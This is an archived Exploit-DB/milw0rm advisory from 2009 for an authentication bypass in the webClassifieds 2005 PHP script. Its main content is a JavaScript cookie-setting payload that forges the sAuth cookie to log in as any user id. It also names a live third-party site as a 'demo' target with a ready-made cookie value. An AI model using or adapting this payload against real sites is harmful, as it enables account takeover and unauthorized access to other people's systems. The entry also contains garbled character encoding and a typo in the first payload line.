webClassifieds 2005 - (Authentication Bypass) Insecure Cookie Handling

EDB-ID:

8486

CVE:

EDB Verified:

Author:

ThE g0bL!N

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2009-04-20

Vulnerable App:

[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±ØÙ…Ù† Ø§Ù„Ø±ØÙŠÙ…------------------------------
 [~]Tybe:webClassifiedsÂ© 2005 Insecure Cookie Handling Vulnerability
  
 [~]Vendor: www.webscribble.com
  
 [~]Software: webClassifiedsÂ© 2005
  
 [~]author: ThE g0bL!N
  
  
 [~] Home: WWW.h4ckf0ru.com
  

[~] -----------------------------{ Iam MuSlIm}------------------------------
  
  
 [~] Exploit:
  
javascript:dcocument.cookie="sAuth=[id];path=/";
  
[~]login 4 d3m0:
  
http://www.towpartners.com/classifieds/index.php?page=sign_in
 
javascript:document.cookie="sAuth=3;path=/";
[~]--------------------------------------------------------------------------------
 
  [~] Greetz tO:
  [~]
  [~] Dos-Dz TeaM - Snakes TeaM - Team Sobh4n ALLAH
  [~]
  [~]
  [~]
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2009-04-20]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services